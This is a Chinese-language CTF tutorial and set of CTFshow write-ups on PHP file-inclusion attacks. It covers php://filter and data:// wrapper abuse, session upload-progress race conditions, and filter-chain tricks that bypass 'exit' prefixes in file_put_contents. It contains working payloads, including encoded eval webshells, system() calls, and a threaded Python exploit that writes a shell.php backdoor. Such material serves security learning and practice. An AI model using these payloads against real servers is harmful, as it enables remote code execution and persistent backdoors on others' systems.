文件包含

伪协议

php://filter参数详解

image-20210520202956685

可用的过滤器列表(4类)

字符串过滤器 作用
string.rot13 等同于str_rot13(),rot13变换
string.toupper 等同于strtoupper(),转大写字母
string.tolower 等同于strtolower(),转小写字母
string.strip_tags 等同于strip_tags(),去除html、PHP语言标签
转换过滤器 作用
convert.base64-encode & convert.base64-decode 等同于base64_encode()base64_decode(),base64编码解码
convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码
压缩过滤器 作用
zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2 兼容文件的方法。
加密过滤器 作用
mcrypt.* libmcrypt 对称加密算法
mdecrypt.* libmcrypt 对称解密算法

示例:

php://filter/read=convert.base64-encode/resource=[文件名]

读取文件源码(针对php文件需要base64编码)

1
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

图片描述

配合include

1
2
3
4
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64- encode/resource=flag.php
?c=include$_POST[1]?>
1=php://filter/read=convert.base64-encode/resource=flag.php

data://协议

条件:

1
2
allow_url_fopen:on
allow_url_include :on

作用:

1
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

用法:

1
2
data://text/plain,
data://text/plain;base64,

示例:

data://text/plain,

1
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

图片描述

data://text/plain;base64,

1
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

图片描述

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

img

我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。

session里有一个默认选项,session.use_strict_mode默认值为off。

img

此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值.

注:在Linux系统中,session文件一般的默认存储位置为/tmp /var/lib/php/session

1
2
3
4
5
默认路径
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

但是session.upload_progress.cleanup默认是开启的

img

框着的这句话意思就是说在默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,它就会清除进度信息

这里我们可以利用条件竞争来进行文件上传

下面讲个例题来实践一下:

CTFshow 里web入门里的一个文件包含题

img

通过观察代码,可以看到过滤了大部分的文件包含函数,这里我们利用PHP_SESSION_UPLOAD_PROGRESS加条件竞争进行文件包含

以POST的形式发包,传的文件随意

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<form action="http://e113b1bc-28b8-4f08-9e60-b74fe3a96ef3.chall.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

抓包,这里我们添加一个 Cookie :PHPSESSID=flag ,PHP将会在服务器上创建一个文件:/tmp/sess_flag” (这里我们猜测session文件默认存储位置为/tmp),并在PHP_SESSION_UPLOAD_PROGRESS下添加一句话木马,修改如下

img

接着去题目页面,传参?file=/tmp/sess_flag后抓包(随便加一个参数来方便爆破,不加也行) 因为我们在上面这个页面添加的ID值是flag,所以传参 ?file=/tmp/sess_flag

修改如下:这个a是随便加的,主要是为了方便爆破

img

条件竞争,将POST和GET的包都开启爆破,即可得到目录,

img

可以看到有fl0g.php,只要把ls改为 cat fl0g.php即可,修改如下:

img

爆破即可得到flag

img

file_put_content和死亡·杂糅代码

首先来说,file_put_content大概有三种情形出现;

1
2
3
file_put_contents($filename,"<?php exit();".$content);
file_put_contents($content,"<?php exit();".$content);
file_put_contents($filename,$content . "\nxxxxxx");

这里我们的思路一般是想要将杂糅或者死亡代码分解掉;这里思路基本上都是利用php伪协议filter,结合编码或者相应的过滤器进行绕过;其原理不外乎是将死亡或者杂糅代码分解成php无法识别的代码;

首先对于第一种

直观的看到,我们的文件名和文件内容都是可控的,这种的相对来说简单的多,我们直接控制文件名,和文件内容即可,下面分享几种方式;

1.base64编码绕过

原理其实很简单,利用base64解码,将死亡代码解码成乱码,使得php引擎无法识别;

1
2
$filename='php://filter/convert.base64-decode/resource=s1mple.php';
$content = 'aPD9waHAgcGhwaW5mbygpOz8+';

这里之所以将$content加了一个a,是因为base64在解码的时候是将4个字节转化为3个字节,又因为死亡代码只有phpexit参与了解码,所以补上一位就可以完全转化;载荷效果如下:

img

2.rot13 编码绕过

原理和base64一样,可以直接转码分解死亡代码;这里不再多说;直接看如下实验结果即可;

img

只是这种方法有点尴尬的是;因为我们生成的文件内容之中前面的<?并没有分解掉,这时,如果服务器开启了短标签,那么就会被解析,所以所以后面的代码就会错误;也就失去了作用;

3. .htaccess的预包含利用

利用 .htaccess的预包含文件的功能来进行攻破;自定义包含我们的flag文件。

1
2
$filename=php://filter/write=string.strip_tags/resource=.htaccess
$content=?>php_value%20auto_prepend_file%20G:\s1mple.php

同时传入如上的代码,首先来解释$filename的代码,这里引用了string.strip_tags过滤器,可以过滤.htaccess内容的html标签,自然也就消除了死亡代码;$content即闭合死亡代码使其完全消除,并且写入自定义包含文件;实验结果如下所示:

img

但是这种方法也是具有一定的局限性,首先我们需要知道flag文件的位置,和文件的名字,一般的比赛中可以盲猜 flag.php flag /flag /flag.php 等等;另外还有个很大的问题是,string.strip_tags过滤器只是可以在php5的环境下顺利的使用,如果题目环境是在php7.3.0以上的环境下,则会发生段错误。导致写不进去;根本来说是php7.3.0中废弃了string.strip_tags这个过滤器;

4.过滤编码器组合拳

过滤器组合拳,其实故名思意,就是利用过滤器嵌套过滤器进行过滤,以此达到代码的层层更迭,从而最后写入我们期望的代码:

先来第一种
1
2
$filename='php://filter/string.strip_tags|convert.base64-decode/resource=s1mple.php'
$content='?>PD9waHAgcGhwaW5mbygpOz8+'

可以看到,利用string.strip_tags可以过滤掉html标签,将标签内的所有内容进行删去,然后再进行base64解码,成功写入shell;

img

但是这种方法有一定的局限性也还是因为string.strip_tags在php7.3.0以上的环境下会发生段错误,从而导致无法写入,但是在php5的环境下则不受此影响;

再来另一种

如果题目的环境是php7的话,那么我们又该如何?这里受一个题目的启发,也可以使用过滤器进行嵌套来做;组合拳;这里三个过滤器叠加之后先进行压缩,然后转小写,最后解压,会导致部分死亡代码错误;则可以写入shell;

1
2
$filename=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=s1mple.php
$content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0dphpinfo();?>/resource=s1mple.php

如此便可以写入;其原理也很简单,就是利用过滤器嵌套让死亡代码在各种变换之间进行分解扰乱,然后再次写入木马;

img

这里非常巧合的是内容经过压缩转小写然后解压之后,我们的目的代码并没有发生变化,这也为写入木马奠定了基础;

介绍完第一种情况之后,就来介绍第二种情况

file_put_contents($content,"<?php exit();".$content);如此又该如何;

这段类似的代码在ThinkPHP5.0.X反序列化中出现过,利用其组合才能够得到RCE。有关ThinkPHP5.0.x的反序列化这里就不说了,主要是探索如何利用php://filter绕过该限制写入shell后门得到RCE的过程。

面对这种情况,就和WMCTF的一个题基本一样了;和上面的大类方法一样,也是利用php伪协议filter进行嵌套过滤器进行消除死亡代码,然后进行shell的写入或者读取;不过这种因为是一个变量,所以其限制代码为<?php exit(); 然而我们之前说到的是因为是控制两个变量,在这种情况之下就为<?php exit();?>,两者有本质的区别,然而第一种情况下,后面的几种解法,其实从某种程度上来说,也是将其看成了一个变量从而的出的payload;

这里题目环境如果在php7下,wmctf的wp上已经写的很清楚了,有多种方法可以绕过去;这里不再过多的解释;

但是这里想要分享的一个另类的方法,如果题目环境不是在php7下,并且过滤了zlib的话,又该如何去解答,再使用过滤器去压缩和解压就不太可能实现了;这里提供一种我新实验成的方法,利用.htaccess进行预包含,然后读取flag;

1
?content=php://filter/write=string.strip_tags/?>php_value%20auto_prepend_file%20G:\s1mple.php%0a%23/resource=.htaccess

这里可以直接自定义预包含文件,进行测试;结果如下;

img

再次访问页面即可包含flag文件,进行读取;主要还是利用.htaccess的功效;

img

base64

看到这种情况其实也可以想到base64利用,payload::

php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=s1mple.php或者

1
php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php

看起来顺理成章,进行拼接之后就是<?php exit();php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php然后会对其进行一次整体的base64-decode。从而分解掉死亡代码,但是有个小问题,当时我也有点不解,一直无法生成content;虽然文件创建成功,但是就是无法生成content。翻了翻cyc1e师傅的文章,和其他文章 ,发现问题在于‘=’;

都知道‘=’在base64中的作用是填充,也就是以为着结束;在‘=’的后面是不允许有任何其他字符的否则会报错,有的解码程序会自动忽略后面的字符从而正常解码,其实实际上还是有问题的。如下图所示;

img

这里因为是由于‘=’从而使得我们写入content不成功,那么我们可以想个方法去掉等号即可

去掉等号之过滤器嵌套base64

payload: php://filter/string.strip.tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php如此payload我们测试看看载荷效果;

img

发现可以生成文件,并且可以看到我们已经成功写入了shell;但是文件名确实有问题,当我们在浏览器访问的时候,会出现访问不到的问题,这里是因为引号的问题;那么如何避免,我们可以使用伪目录的方法,进行变相的绕过去;

改payload为此:php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php我们将前面的一串base64字符和闭合的符号整体看作一个目录,虽然没有,但是我们后面重新撤回了原目录,生成s1mple.php文件;从而就可以生成正常的文件名;载荷效果如下:img

去掉等号之直接对内容进行变性另类base64

其实这种也是借助于过滤器,但是原理并不是和之前的原理一样,之前的原理即是:闭合原本的死亡代码,然后在进行过滤器过滤掉内容中的html标签,从而对剩下的内容进行base64解码。但是这种方法却不是如此,payload如下:

1
php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php

这种方法也是新奇,在一片文章中发现,但是他的payload无法进行攻击成功,我借助其思路重新构造了一个新的payload;这种payload的攻击原理即是首先直接在内容时,就将我们base64遇到的‘=’这个问题直接写在<? ?>中进行过滤掉,然后base64-decode再对原本内容的<?php exit();进行转码,从而达到分解死亡代码的效果;这是两种攻击思路;

img

rot13

尽管base64比较特别,但是并不是所有的编码都受限于‘=’,这里可以采用rot13编码即可;

php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=s1mple.php这里<?php phpinfo();?>的rot13编码即为<?cuc cucvasb();?>,所以这里可以进行写入;载荷效果如下:

img

其原理就是利用转码从而将原本的死亡代码进行转码从而使引擎无法识别从而避免死亡代码;

convert.iconv.

这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。 然而 我们可以留意到 iconv — 字符串按要求的字符编码来转换;;其用法:iconv ( string $in_charset , string $out_charset , string $str ) : string 将字符串 strin_charset 转换编码到 out_charset。 就其功能而论,有点类似于base_convert的功效一样,只不过二者还是有作用的区别,只是都是涉及编码转换的问题而已;(可以类比);由此记得国赛的一道love_math的题目,有了base_convert之后就可以尽情的转换从而getshell;

那么我们就可以借用此过滤器,从而进行编码的转换,写入我们需要的代码,然后转换掉死亡代码,其实本质上来说也是利用了编码的转换;

1.usc-2

通过usc-2的编码进行转换;对目标字符串进行2位一反转;(因为是两位一反转,所以字符的数目需要保持在偶数位上)

img

payload:php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSs[m1lp]e;)>?/resource=s1mple.php;其实也是变向的转换回来,从而利用那一次转换对死亡代码进行扰乱;载荷效果如下:

img

2.usc-4

活用convert.iconv。可以进行usc-4编码转化;就是4位一反转;类比可知,构造的shell代码应该是usc-4中的4倍数;

img

通过测试我们可以明确的看到确实是需要是4的倍数才可以进行,否则会进行报错;

payload:php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]pm1>?;)/resource=s1mple.php荷载效果如下:

img

3.utf-8与utf-7之间的转化

经过测试发现如下的现象:

img

img

这里发现生成的是+AD0-,然而经过检测,此字符串可以被base64进行解码;那也就意味着我们可以使用这种方法避免等号对我们base64解码的影响;我们可以直接写入base64加密后的payload,然后将其进行utf之间的转换,因为纯字符转换之后还是其本身;所以其不受影响,进而我们的base64-encode之后的编码依然是存在的,然后进行base64-decode一下,写入shell;算上是一种组合拳;

php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=s1mple.php 载荷效果如下:

img

img

第三种情况

1
file_put_contents($filename,$content . "\nxxxxxx");

面对此情况相对来说要比之前的两种还要在某种程度上来说要简单一点,我们只需要让后面的杂糅代码注释掉,或者分解掉都是可以的,目的就是不让杂糅代码干扰;

这种情形一般考点都是禁止有特殊起始符和结束符号的语言,举个例子,如果题目没有ban掉php,那么我们可以轻而易举的写入php代码,因为php代码有特殊的起始符和结束符,所以后面的杂糅代码,并不会对其产生什么影响,载荷效果如下:

img

img

所以这类问题的考点,往往在于我们没有办法去写入这类的有特殊起始符和结束符号的语言,往往是需要想办法处理掉杂糅代码的;常见的考点是利用.htaccess进行操作;都知道,.htaccess文件对其文件内容的格式很敏感,如果有杂糅的字符,就会出现错误,导致我们无法进行操作,所以这里我们必须采用注释符将杂糅的代码进行注释,然后才可以正常访问;

这里对于换行符我们直接进行 \ 注释即可。然后再嵌入#注释符,从而达到单行注释就可以将杂糅代码注释掉的效果;载荷效果如下

img

可以发现直接利用,对于这种没有unlink的题目,我们也是可以反复写入.htaccess进行覆盖的,但是前提是我们写入的.htaccess文件格式不能出现错误,如果出现错误,则会触发报错,题目就会锁死。所以对待此类问题应当小心谨慎;回到刚才,我们可以反复的写入,那么我们就可以方法很多;

CTFshow题目writeup

web78

php伪协议

1
2
?file=php://filter/read=convert.base64-encode/resource=flag.php
?file=php://filter/convert.base64-encode/resource=flag.php

web79

data伪协议

1
2
3
4
5
6
7
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);

str_replace()函数替换字符串中的一些字符(区分大小写),看题目中存在一个过滤,如果我们传入的参数中有php的话会替换为???,这意味着php://filter是用不成了,我们可以使用data://text

1
2
3
4
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw==
//解密后<?php system('ls'); 我们先查看一下目录,发现flag.php
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
//<?php system('cat flag.php'); 读取flag.php中的数据

web80-81

1
2
3
4
5
6
7
8
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

我们看到php,data都被过滤了,看了提示说是日志包含

image-20210615004702138

访问之后发现是User-Agent

image-20211215010545442

直接抓包改头,先查看一下发现了fl0g.php

image-20210615005015783

直接开始查看

image-20210615005106094

web82-86

1
2
3
4
5
6
7
8
9
10
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

过滤了php、data、:、;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import io
import sys
import requests
import threading

sessid = 'Qftm'

def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://bd052b0b-9bcf-4629-bc0e-1d6afc192694.challenge.ctf.show:8080/',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)

def READ(session):
while True:
response = session.get(f'http://bd052b0b-9bcf-4629-bc0e-1d6afc192694.challenge.ctf.show:8080/?file=/tmp/sess_{sessid}')
if 'flag' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)


with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()

READ(session)

web116

一打开是个视频,没有源代码,下载下来发现里面隐藏了一张图片

binwalk一直没弄下来,用的foremost。

image-20210927125126807

image-20210927125217908

看一下源码,过滤了data,input,base64.但是没过滤php和符号那么很多绕过方法

1
2
3
?file=flag.php
?file=compress.zlib:///var/www/html/flag.php
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
image-20210927124955522

web117

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

可以看到过滤了不少,但是还是可以搞

可以使用convert.iconv.*
原理:对原有字符串进行某种编码然后再解码,这个过程导致最初的限制exit;去除。

构造

1
2
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?

image-20210927194901880

post传一句话

然后来到a.php

image-20210927194931200